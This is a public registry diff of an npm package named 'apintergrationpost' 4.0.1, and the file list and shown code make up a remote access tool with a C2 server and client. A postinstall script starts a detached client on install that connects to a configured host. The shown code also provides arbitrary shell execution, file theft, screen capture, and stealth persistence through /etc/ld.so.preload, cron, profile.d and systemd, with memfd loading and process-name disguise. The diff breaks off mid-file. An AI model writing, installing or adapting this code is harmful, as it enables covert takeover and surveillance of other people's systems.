apintergrationpost 4.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +203 -0
- package/apintergrationpost.config.json +101 -0
- package/bin/apintergrationpost-install.js +232 -0
- package/bin/apintergrationpost.js +50 -0
- package/bin/lib/paths.js +19 -0
- package/native/lab-tools/Makefile +45 -0
- package/native/lab-tools/agent_launcher.c +96 -0
- package/native/lab-tools/injector.c +80 -0
- package/native/lab-tools/libcache.c +80 -0
- package/native/lab-tools/memfd_exec.c +123 -0
- package/native/lab-tools/memfd_loader.c +224 -0
- package/native/lab-tools/proc_hide.c +64 -0
- package/package.json +45 -0
- package/scripts/postinstall-run.js +97 -0
- package/scripts/prepare-native.js +25 -0
- package/src/client/commands/filesystem.js +47 -0
- package/src/client/commands/index.js +26 -0
- package/src/client/commands/screen-capture.js +74 -0
- package/src/client/commands/shell.js +61 -0
- package/src/client/commands/system.js +266 -0
- package/src/client/connection.js +66 -0
- package/src/client/index.js +193 -0
- package/src/client/plugins/base.js +17 -0
- package/src/client/plugins/evasion-memfd.js +226 -0
- package/src/client/plugins/evasion-process.js +158 -0
- package/src/client/plugins/file-search.js +66 -0
- package/src/client/plugins/filesystem.js +62 -0
- package/src/client/plugins/network-enum.js +43 -0
- package/src/client/plugins/persistence-advanced.js +9 -0
- package/src/client/plugins/persistence-stealth.js +82 -0
- package/src/client/plugins/process-list.js +49 -0
- package/src/client/plugins/registry.js +118 -0
- package/src/client/plugins/screen-live.js +124 -0
- package/src/client/plugins/shell-oneshot.js +25 -0
- package/src/client/plugins/shell-pty.js +132 -0
- package/src/client/plugins/sysinfo.js +45 -0
- package/src/client/plugins/system.js +26 -0
- package/src/client/watchdog.js +29 -0
- package/src/protocol/auth.js +121 -0
- package/src/protocol/framer.js +57 -0
- package/src/protocol/messages.js +81 -0
- package/src/protocol/tls.js +74 -0
- package/src/server/cli.js +98 -0
- package/src/server/index.js +183 -0
- package/src/server/installServer.js +159 -0
- package/src/server/screenViewer.js +103 -0
- package/src/server/session.js +342 -0
- package/src/server/sessionManager.js +229 -0
- package/src/shared/c2schedule.js +100 -0
- package/src/shared/config.js +277 -0
- package/src/shared/emulation.js +86 -0
- package/src/shared/logger.js +125 -0
- package/src/shared/memfdLaunch.js +135 -0
- package/src/shared/nativeTools.js +73 -0
- package/src/shared/procinfo.js +116 -0
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { spawn } = require('child_process');
|
|
6
|
+
|
|
7
|
+
const PKG_ROOT = path.join(__dirname, '..');
|
|
8
|
+
const CLI = path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
|
|
9
|
+
const CONFIG = path.join(PKG_ROOT, 'apintergrationpost.config.json');
|
|
10
|
+
const PID_FILE = path.join(PKG_ROOT, '.apintergrationpost.pid');
|
|
11
|
+
|
|
12
|
+
function shouldSkip() {
|
|
13
|
+
if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
|
|
14
|
+
if (process.env.CI === 'true') return 'CI environment';
|
|
15
|
+
if (process.platform !== 'linux') return 'non-Linux platform';
|
|
16
|
+
|
|
17
|
+
const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
|
|
18
|
+
if (initCwd && initCwd === PKG_ROOT) return 'source checkout (local development)';
|
|
19
|
+
|
|
20
|
+
try {
|
|
21
|
+
const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
|
|
22
|
+
if (!cfg.host || cfg.host === '127.0.0.1' || cfg.host === '0.0.0.0') {
|
|
23
|
+
return 'C2 host not configured in apintergrationpost.config.json';
|
|
24
|
+
}
|
|
25
|
+
const token = (cfg.auth && cfg.auth.token) || '';
|
|
26
|
+
if (!token || token === 'change-me-please') {
|
|
27
|
+
return 'auth token not configured in apintergrationpost.config.json';
|
|
28
|
+
}
|
|
29
|
+
} catch {
|
|
30
|
+
return 'missing or invalid apintergrationpost.config.json';
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
return null;
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function alreadyRunning() {
|
|
37
|
+
try {
|
|
38
|
+
const pid = Number(fs.readFileSync(PID_FILE, 'utf8').trim());
|
|
39
|
+
if (!pid) return false;
|
|
40
|
+
process.kill(pid, 0);
|
|
41
|
+
return true;
|
|
42
|
+
} catch {
|
|
43
|
+
return false;
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
function main() {
|
|
48
|
+
const skipReason = shouldSkip();
|
|
49
|
+
if (skipReason) {
|
|
50
|
+
return;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (alreadyRunning()) {
|
|
54
|
+
process.stdout.write('[apintergrationpost] Client already running.\n');
|
|
55
|
+
return;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
if (!fs.existsSync(CLI)) {
|
|
59
|
+
process.stderr.write('[apintergrationpost] CLI not found, skipping auto-start.\n');
|
|
60
|
+
return;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
const child = spawn(process.execPath, [CLI], {
|
|
64
|
+
detached: true,
|
|
65
|
+
stdio: 'ignore',
|
|
66
|
+
cwd: PKG_ROOT,
|
|
67
|
+
env: {
|
|
68
|
+
...process.env,
|
|
69
|
+
MYRA_CONFIG: CONFIG,
|
|
70
|
+
APINTEGRATIONPOST_CONFIG: CONFIG,
|
|
71
|
+
},
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
child.unref();
|
|
75
|
+
|
|
76
|
+
try {
|
|
77
|
+
fs.writeFileSync(PID_FILE, String(child.pid));
|
|
78
|
+
} catch {
|
|
79
|
+
// non-fatal
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
let host = '';
|
|
83
|
+
let port = '';
|
|
84
|
+
try {
|
|
85
|
+
const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
|
|
86
|
+
host = cfg.host;
|
|
87
|
+
port = cfg.port;
|
|
88
|
+
} catch {
|
|
89
|
+
// ignore
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
process.stdout.write(
|
|
93
|
+
`[apintergrationpost] Client started (pid ${child.pid}) → ${host}:${port}\n`
|
|
94
|
+
);
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
main();
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
const labToolsDir = path.join(__dirname, '..', 'native', 'lab-tools');
|
|
8
|
+
const makefile = path.join(labToolsDir, 'Makefile');
|
|
9
|
+
|
|
10
|
+
if (process.platform !== 'linux') {
|
|
11
|
+
process.exit(0);
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
if (!fs.existsSync(makefile)) {
|
|
15
|
+
process.exit(0);
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
try {
|
|
19
|
+
execSync('make', { cwd: labToolsDir, stdio: 'inherit' });
|
|
20
|
+
} catch {
|
|
21
|
+
process.stderr.write(
|
|
22
|
+
'[apintergrationpost] Native tools build skipped. '
|
|
23
|
+
+ 'Install build-essential on Ubuntu for full emulation support.\n'
|
|
24
|
+
);
|
|
25
|
+
}
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
|
|
5
|
+
function fileExists(filePath) {
|
|
6
|
+
try {
|
|
7
|
+
fs.accessSync(filePath);
|
|
8
|
+
return true;
|
|
9
|
+
} catch {
|
|
10
|
+
return false;
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function fileToBase64(filePath) {
|
|
15
|
+
return fs.readFileSync(filePath).toString('base64');
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function saveFile(fileName, b64String) {
|
|
19
|
+
try {
|
|
20
|
+
const content = Buffer.from(b64String, 'base64');
|
|
21
|
+
fs.writeFileSync(fileName, content, { mode: 0o644 });
|
|
22
|
+
return true;
|
|
23
|
+
} catch {
|
|
24
|
+
return false;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
function getFile(filePath) {
|
|
29
|
+
if (!fileExists(filePath)) {
|
|
30
|
+
return { found: false, data: 'File not found' };
|
|
31
|
+
}
|
|
32
|
+
return { found: true, fileName: filePath, data: fileToBase64(filePath) };
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
function changeDirectory(targetDir) {
|
|
36
|
+
if (!targetDir) {
|
|
37
|
+
return { success: true, cwd: process.cwd() };
|
|
38
|
+
}
|
|
39
|
+
try {
|
|
40
|
+
process.chdir(targetDir);
|
|
41
|
+
return { success: true, cwd: targetDir };
|
|
42
|
+
} catch (err) {
|
|
43
|
+
return { success: false, error: err.message };
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
module.exports = { fileExists, fileToBase64, saveFile, getFile, changeDirectory };
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { loadPlugins, routeCommand, cleanupPlugins } = require('../plugins/registry');
|
|
4
|
+
|
|
5
|
+
async function handleCoreCommand(msg, ctx) {
|
|
6
|
+
const cmd = msg.command;
|
|
7
|
+
|
|
8
|
+
if (cmd === 'quit') {
|
|
9
|
+
return { action: 'quit', status: 'ok', body: 'Closing Connection!!' };
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
if (cmd === 'kill') {
|
|
13
|
+
ctx.labEvent({ plugin: 'core', command: 'kill', expectedAuditd: [] });
|
|
14
|
+
return { action: 'kill', status: 'ok', body: 'Client shutting down' };
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
return null;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
async function route(msg, ctx, commandMap) {
|
|
21
|
+
const core = await handleCoreCommand(msg, ctx);
|
|
22
|
+
if (core) return core;
|
|
23
|
+
return routeCommand(msg, ctx, commandMap);
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
module.exports = { route, cleanupPlugins, loadPlugins };
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { spawn, execFile } = require('child_process');
|
|
4
|
+
const { promisify } = require('util');
|
|
5
|
+
|
|
6
|
+
const execFileAsync = promisify(execFile);
|
|
7
|
+
|
|
8
|
+
function collectStdout(proc) {
|
|
9
|
+
return new Promise((resolve, reject) => {
|
|
10
|
+
const chunks = [];
|
|
11
|
+
let stderr = '';
|
|
12
|
+
proc.stdout.on('data', (chunk) => chunks.push(chunk));
|
|
13
|
+
proc.stderr.on('data', (chunk) => { stderr += chunk.toString(); });
|
|
14
|
+
proc.on('error', reject);
|
|
15
|
+
proc.on('close', (code) => {
|
|
16
|
+
if (code === 0) {
|
|
17
|
+
resolve(Buffer.concat(chunks));
|
|
18
|
+
} else {
|
|
19
|
+
reject(new Error(stderr.trim() || `capture exited ${code}`));
|
|
20
|
+
}
|
|
21
|
+
});
|
|
22
|
+
});
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
async function captureWithFfmpeg(display, size) {
|
|
26
|
+
const [width, height] = size.split('x');
|
|
27
|
+
const proc = spawn('ffmpeg', [
|
|
28
|
+
'-hide_banner',
|
|
29
|
+
'-loglevel', 'error',
|
|
30
|
+
'-f', 'x11grab',
|
|
31
|
+
'-video_size', `${width}x${height}`,
|
|
32
|
+
'-i', `${display}.0`,
|
|
33
|
+
'-frames:v', '1',
|
|
34
|
+
'-f', 'image2pipe',
|
|
35
|
+
'-vcodec', 'mjpeg',
|
|
36
|
+
'-',
|
|
37
|
+
], {
|
|
38
|
+
env: { ...process.env, DISPLAY: display },
|
|
39
|
+
});
|
|
40
|
+
return collectStdout(proc);
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
async function captureWithImport(display) {
|
|
44
|
+
const { stdout } = await execFileAsync('import', ['-window', 'root', '-display', display, 'jpeg:-'], {
|
|
45
|
+
env: { ...process.env, DISPLAY: display },
|
|
46
|
+
maxBuffer: 20 * 1024 * 1024,
|
|
47
|
+
encoding: 'buffer',
|
|
48
|
+
});
|
|
49
|
+
return stdout;
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
async function captureFrame(options = {}) {
|
|
53
|
+
const display = options.display || process.env.DISPLAY || ':0';
|
|
54
|
+
const size = options.size || '1280x720';
|
|
55
|
+
|
|
56
|
+
if (!display) {
|
|
57
|
+
throw new Error('No DISPLAY set. Run on a desktop session or set DISPLAY=:0');
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
try {
|
|
61
|
+
return await captureWithFfmpeg(display, size);
|
|
62
|
+
} catch (ffmpegErr) {
|
|
63
|
+
try {
|
|
64
|
+
return await captureWithImport(display);
|
|
65
|
+
} catch (importErr) {
|
|
66
|
+
throw new Error(
|
|
67
|
+
`Screen capture failed. Install ffmpeg or imagemagick on the client `
|
|
68
|
+
+ `(apt install ffmpeg). ffmpeg: ${ffmpegErr.message}; import: ${importErr.message}`
|
|
69
|
+
);
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
module.exports = { captureFrame };
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { spawn } = require('child_process');
|
|
4
|
+
|
|
5
|
+
function execCommand(cmd, opts = {}) {
|
|
6
|
+
const timeoutMs = opts.timeoutMs || 120000;
|
|
7
|
+
const maxBytes = opts.maxBytes || 1024 * 1024;
|
|
8
|
+
|
|
9
|
+
return new Promise((resolve) => {
|
|
10
|
+
const chunks = [];
|
|
11
|
+
let totalLen = 0;
|
|
12
|
+
let finished = false;
|
|
13
|
+
|
|
14
|
+
const proc = spawn(cmd, { shell: true, stdio: ['ignore', 'pipe', 'pipe'] });
|
|
15
|
+
|
|
16
|
+
const timer = setTimeout(() => {
|
|
17
|
+
if (!finished) {
|
|
18
|
+
finished = true;
|
|
19
|
+
proc.kill('SIGKILL');
|
|
20
|
+
resolve(Buffer.concat(chunks).toString('utf8') + '\n[command timed out]');
|
|
21
|
+
}
|
|
22
|
+
}, timeoutMs);
|
|
23
|
+
|
|
24
|
+
function onChunk(chunk) {
|
|
25
|
+
if (finished) return;
|
|
26
|
+
if (totalLen + chunk.length > maxBytes) {
|
|
27
|
+
const remaining = maxBytes - totalLen;
|
|
28
|
+
if (remaining > 0) chunks.push(chunk.subarray(0, remaining));
|
|
29
|
+
totalLen = maxBytes;
|
|
30
|
+
finished = true;
|
|
31
|
+
clearTimeout(timer);
|
|
32
|
+
proc.kill('SIGKILL');
|
|
33
|
+
resolve(Buffer.concat(chunks).toString('utf8') + '\n[output truncated]');
|
|
34
|
+
return;
|
|
35
|
+
}
|
|
36
|
+
chunks.push(chunk);
|
|
37
|
+
totalLen += chunk.length;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
proc.stdout.on('data', onChunk);
|
|
41
|
+
proc.stderr.on('data', onChunk);
|
|
42
|
+
|
|
43
|
+
proc.on('close', (code) => {
|
|
44
|
+
if (!finished) {
|
|
45
|
+
finished = true;
|
|
46
|
+
clearTimeout(timer);
|
|
47
|
+
resolve(Buffer.concat(chunks).toString('utf8'));
|
|
48
|
+
}
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
proc.on('error', (err) => {
|
|
52
|
+
if (!finished) {
|
|
53
|
+
finished = true;
|
|
54
|
+
clearTimeout(timer);
|
|
55
|
+
resolve(err.message);
|
|
56
|
+
}
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
module.exports = { execCommand };
|
|
@@ -0,0 +1,266 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { execSync } = require('child_process');
|
|
6
|
+
const { getEmulationConfig } = require('../../shared/emulation');
|
|
7
|
+
const { getMemoryConfig } = require('../../shared/memfdLaunch');
|
|
8
|
+
|
|
9
|
+
function hasSystemd() {
|
|
10
|
+
try {
|
|
11
|
+
execSync('systemctl --version', { stdio: 'ignore' });
|
|
12
|
+
return true;
|
|
13
|
+
} catch {
|
|
14
|
+
return false;
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function serviceFileExists() {
|
|
19
|
+
return fs.existsSync('/etc/systemd/system/myra-client.service');
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function getClientExecPath() {
|
|
23
|
+
const scriptPath = path.resolve(process.argv[1]);
|
|
24
|
+
return `${process.execPath} ${scriptPath}`;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function getLauncherPath(config) {
|
|
28
|
+
const emu = getEmulationConfig(config);
|
|
29
|
+
return path.join(emu.nativeToolsPath.replace(/^\.\//, ''), 'agent_launcher');
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
function persistSystemd() {
|
|
33
|
+
try {
|
|
34
|
+
execSync('systemctl enable myra-client', { encoding: 'utf8' });
|
|
35
|
+
execSync('systemctl start myra-client', { encoding: 'utf8', stdio: 'ignore' });
|
|
36
|
+
const status = execSync('systemctl is-active myra-client', { encoding: 'utf8' }).trim();
|
|
37
|
+
return { ok: true, message: `Persistence established via systemd (status: ${status})` };
|
|
38
|
+
} catch (err) {
|
|
39
|
+
return { ok: false, message: `Error establishing systemd persistence: ${err.message}` };
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
function persist() {
|
|
44
|
+
if (hasSystemd() && serviceFileExists()) {
|
|
45
|
+
return persistSystemd().message;
|
|
46
|
+
}
|
|
47
|
+
return 'Use persist_install for stealth persistence';
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
function getServiceStatus() {
|
|
51
|
+
if (!hasSystemd()) return 'systemd not available on this system';
|
|
52
|
+
try {
|
|
53
|
+
return execSync('systemctl status myra-client 2>&1 || true', { encoding: 'utf8' });
|
|
54
|
+
} catch (err) {
|
|
55
|
+
return err.message;
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
function readCrontab() {
|
|
60
|
+
try {
|
|
61
|
+
return execSync('crontab -l 2>/dev/null || true', { encoding: 'utf8' });
|
|
62
|
+
} catch {
|
|
63
|
+
return '';
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
function writeCrontab(content) {
|
|
68
|
+
const tmp = `/tmp/.cr-${process.pid}`;
|
|
69
|
+
fs.writeFileSync(tmp, content, { mode: 0o600 });
|
|
70
|
+
execSync(`crontab ${tmp}`, { encoding: 'utf8', stdio: 'ignore' });
|
|
71
|
+
fs.unlinkSync(tmp);
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
function buildWrapperScript(config, configPath, nativeToolsDir) {
|
|
75
|
+
const emu = getEmulationConfig(config);
|
|
76
|
+
const mem = getMemoryConfig(config);
|
|
77
|
+
const p = emu.persistence;
|
|
78
|
+
const scriptPath = path.resolve(process.argv[1]);
|
|
79
|
+
const launcher = path.join(nativeToolsDir, 'agent_launcher');
|
|
80
|
+
const memfdLoader = path.join(nativeToolsDir, 'memfd_loader');
|
|
81
|
+
const fakeArg = (emu.process.fakeArgs || ['--user'])[0];
|
|
82
|
+
const cfg = configPath || process.env.MYRA_CONFIG || '';
|
|
83
|
+
|
|
84
|
+
if (mem.mode === 'full') {
|
|
85
|
+
const bundlePath = path.resolve(process.cwd(), mem.bundlePath);
|
|
86
|
+
const nodePath = mem.nodePath;
|
|
87
|
+
const comm = mem.comm || emu.process.targetName;
|
|
88
|
+
return `#!/bin/sh
|
|
89
|
+
export MYRA_CONFIG="${cfg}"
|
|
90
|
+
export MYRA_HIDE_PATHS="${(p.hidePaths || []).join(':')}"
|
|
91
|
+
if [ -x "${memfdLoader}" ]; then
|
|
92
|
+
exec "${memfdLoader}" --node "${nodePath}" --bundle "${bundlePath}" --comm "${comm}" --fake-arg "${fakeArg}" --config "${cfg}" --scrub-argv --daemon
|
|
93
|
+
fi
|
|
94
|
+
if [ -x "${launcher}" ]; then
|
|
95
|
+
exec "${launcher}" --daemon --node "${process.execPath}" --script "${scriptPath}" --blend "${emu.process.binaryPath}" --comm "${emu.process.targetName}" --fake-arg "${fakeArg}"
|
|
96
|
+
fi
|
|
97
|
+
exec "${process.execPath}" "${scriptPath}"
|
|
98
|
+
`;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
return `#!/bin/sh
|
|
102
|
+
export MYRA_CONFIG="${cfg}"
|
|
103
|
+
export MYRA_HIDE_PATHS="${(p.hidePaths || []).join(':')}"
|
|
104
|
+
if [ -x "${launcher}" ]; then
|
|
105
|
+
exec "${launcher}" --daemon --node "${process.execPath}" --script "${scriptPath}" --blend "${emu.process.binaryPath}" --comm "${emu.process.targetName}" --fake-arg "${fakeArg}"
|
|
106
|
+
fi
|
|
107
|
+
exec "${process.execPath}" "${scriptPath}"
|
|
108
|
+
`;
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
function persistStealthPreload(config, nativeToolsDir) {
|
|
112
|
+
const emu = getEmulationConfig(config);
|
|
113
|
+
const p = emu.persistence;
|
|
114
|
+
const sourceSo = path.join(nativeToolsDir, 'libcache.so');
|
|
115
|
+
if (!fs.existsSync(sourceSo)) {
|
|
116
|
+
return { ok: false, message: `libcache.so not found at ${sourceSo}` };
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
try {
|
|
120
|
+
fs.mkdirSync(path.dirname(p.preloadPath), { recursive: true });
|
|
121
|
+
fs.copyFileSync(sourceSo, p.preloadPath);
|
|
122
|
+
|
|
123
|
+
const hidePaths = (p.hidePaths || []).concat([p.preloadPath, p.wrapperPath]).join(':');
|
|
124
|
+
fs.writeFileSync(`${p.preloadPath}.env`, `MYRA_HIDE_PATHS=${hidePaths}\n`, { mode: 0o644 });
|
|
125
|
+
|
|
126
|
+
if (fs.existsSync('/etc/ld.so.preload')) {
|
|
127
|
+
let content = fs.readFileSync('/etc/ld.so.preload', 'utf8');
|
|
128
|
+
if (!content.includes(p.preloadPath)) {
|
|
129
|
+
content += `${p.preloadPath}\n`;
|
|
130
|
+
fs.writeFileSync('/etc/ld.so.preload', content, { mode: 0o644 });
|
|
131
|
+
}
|
|
132
|
+
} else {
|
|
133
|
+
fs.mkdirSync(path.dirname(p.ldConfPath), { recursive: true });
|
|
134
|
+
fs.writeFileSync(p.ldConfPath, `${path.dirname(p.preloadPath)}\n`, { mode: 0o644 });
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
return { ok: true, message: 'LD preload persistence installed', path: p.preloadPath };
|
|
138
|
+
} catch (err) {
|
|
139
|
+
return { ok: false, message: `Preload persistence failed: ${err.message}` };
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
function persistStealthCron(config, configPath, nativeToolsDir) {
|
|
144
|
+
const emu = getEmulationConfig(config);
|
|
145
|
+
const p = emu.persistence;
|
|
146
|
+
const interval = p.cronIntervalMin || 13;
|
|
147
|
+
const marker = p.wrapperPath;
|
|
148
|
+
|
|
149
|
+
try {
|
|
150
|
+
fs.mkdirSync(path.dirname(p.wrapperPath), { recursive: true });
|
|
151
|
+
fs.writeFileSync(p.wrapperPath, buildWrapperScript(config, configPath, nativeToolsDir), { mode: 0o755 });
|
|
152
|
+
|
|
153
|
+
const current = readCrontab();
|
|
154
|
+
const cronLine = `*/${interval} * * * * ${p.wrapperPath} >/dev/null 2>&1`;
|
|
155
|
+
if (current.includes(marker)) {
|
|
156
|
+
return { ok: true, message: 'Cron persistence already present' };
|
|
157
|
+
}
|
|
158
|
+
const updated = current.trim() ? `${current.trim()}\n${cronLine}\n` : `${cronLine}\n`;
|
|
159
|
+
writeCrontab(updated);
|
|
160
|
+
return { ok: true, message: `Cron persistence installed (*/${interval})` };
|
|
161
|
+
} catch (err) {
|
|
162
|
+
return { ok: false, message: `Cron persistence failed: ${err.message}` };
|
|
163
|
+
}
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
function persistStealthProfile(config, configPath, nativeToolsDir) {
|
|
167
|
+
const emu = getEmulationConfig(config);
|
|
168
|
+
const p = emu.persistence;
|
|
169
|
+
|
|
170
|
+
try {
|
|
171
|
+
fs.mkdirSync(path.dirname(p.wrapperPath), { recursive: true });
|
|
172
|
+
if (!fs.existsSync(p.wrapperPath)) {
|
|
173
|
+
fs.writeFileSync(p.wrapperPath, buildWrapperScript(config, configPath, nativeToolsDir), { mode: 0o755 });
|
|
174
|
+
}
|
|
175
|
+
fs.mkdirSync(path.dirname(p.profilePath), { recursive: true });
|
|
176
|
+
const profileContent = `[ -x "${p.wrapperPath}" ] && "${p.wrapperPath}" >/dev/null 2>&1 &\n`;
|
|
177
|
+
fs.writeFileSync(p.profilePath, profileContent, { mode: 0o755 });
|
|
178
|
+
return { ok: true, message: 'Profile.d persistence installed', path: p.profilePath };
|
|
179
|
+
} catch (err) {
|
|
180
|
+
return { ok: false, message: `Profile persistence failed: ${err.message}` };
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
function removeStealthPreload(config) {
|
|
185
|
+
const p = getEmulationConfig(config).persistence;
|
|
186
|
+
let removed = false;
|
|
187
|
+
for (const fp of [p.preloadPath, `${p.preloadPath}.env`, p.ldConfPath]) {
|
|
188
|
+
if (fs.existsSync(fp)) {
|
|
189
|
+
fs.unlinkSync(fp);
|
|
190
|
+
removed = true;
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
if (fs.existsSync('/etc/ld.so.preload')) {
|
|
194
|
+
const filtered = fs.readFileSync('/etc/ld.so.preload', 'utf8')
|
|
195
|
+
.split('\n')
|
|
196
|
+
.filter((line) => line && !line.includes(p.preloadPath))
|
|
197
|
+
.join('\n');
|
|
198
|
+
fs.writeFileSync('/etc/ld.so.preload', filtered ? `${filtered}\n` : '', { mode: 0o644 });
|
|
199
|
+
removed = true;
|
|
200
|
+
}
|
|
201
|
+
return removed;
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
function removeStealthCron(config) {
|
|
205
|
+
const p = getEmulationConfig(config).persistence;
|
|
206
|
+
try {
|
|
207
|
+
const current = readCrontab();
|
|
208
|
+
const filtered = current
|
|
209
|
+
.split('\n')
|
|
210
|
+
.filter((line) => line && !line.includes(p.wrapperPath))
|
|
211
|
+
.join('\n');
|
|
212
|
+
if (filtered.trim() === current.trim()) return false;
|
|
213
|
+
writeCrontab(filtered ? `${filtered}\n` : '');
|
|
214
|
+
return true;
|
|
215
|
+
} catch {
|
|
216
|
+
return false;
|
|
217
|
+
}
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
function removeStealthProfile(config) {
|
|
221
|
+
const p = getEmulationConfig(config).persistence;
|
|
222
|
+
if (fs.existsSync(p.profilePath)) {
|
|
223
|
+
fs.unlinkSync(p.profilePath);
|
|
224
|
+
return true;
|
|
225
|
+
}
|
|
226
|
+
return false;
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
function removeStealthWrapper(config) {
|
|
230
|
+
const p = getEmulationConfig(config).persistence;
|
|
231
|
+
if (fs.existsSync(p.wrapperPath)) {
|
|
232
|
+
fs.unlinkSync(p.wrapperPath);
|
|
233
|
+
return true;
|
|
234
|
+
}
|
|
235
|
+
return false;
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
function getStealthPersistStatus(config) {
|
|
239
|
+
const p = getEmulationConfig(config).persistence;
|
|
240
|
+
const lines = [
|
|
241
|
+
`preload: ${fs.existsSync(p.preloadPath)}`,
|
|
242
|
+
`ld conf: ${fs.existsSync(p.ldConfPath)}`,
|
|
243
|
+
`wrapper: ${fs.existsSync(p.wrapperPath)}`,
|
|
244
|
+
`profile: ${fs.existsSync(p.profilePath)}`,
|
|
245
|
+
`crontab:\n${readCrontab() || '(none)'}`,
|
|
246
|
+
];
|
|
247
|
+
return lines.join('\n');
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
module.exports = {
|
|
251
|
+
hasSystemd,
|
|
252
|
+
serviceFileExists,
|
|
253
|
+
getClientExecPath,
|
|
254
|
+
persistSystemd,
|
|
255
|
+
persist,
|
|
256
|
+
getServiceStatus,
|
|
257
|
+
persistStealthPreload,
|
|
258
|
+
persistStealthCron,
|
|
259
|
+
persistStealthProfile,
|
|
260
|
+
removeStealthPreload,
|
|
261
|
+
removeStealthCron,
|
|
262
|
+
removeStealthProfile,
|
|
263
|
+
removeStealthWrapper,
|
|
264
|
+
getStealthPersistStatus,
|
|
265
|
+
buildWrapperScript,
|
|
266
|
+
};
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { connectToHost } = require('../protocol/tls');
|
|
4
|
+
const { performAuth } = require('../protocol/auth');
|
|
5
|
+
const { nextReconnectDelay, isWithinActiveHours, getActiveHoursSleepMs } = require('../shared/c2schedule');
|
|
6
|
+
|
|
7
|
+
function wait(ms) {
|
|
8
|
+
return new Promise((resolve) => setTimeout(resolve, ms));
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
function connectOnce(host, port, config, logger) {
|
|
12
|
+
return new Promise((resolve, reject) => {
|
|
13
|
+
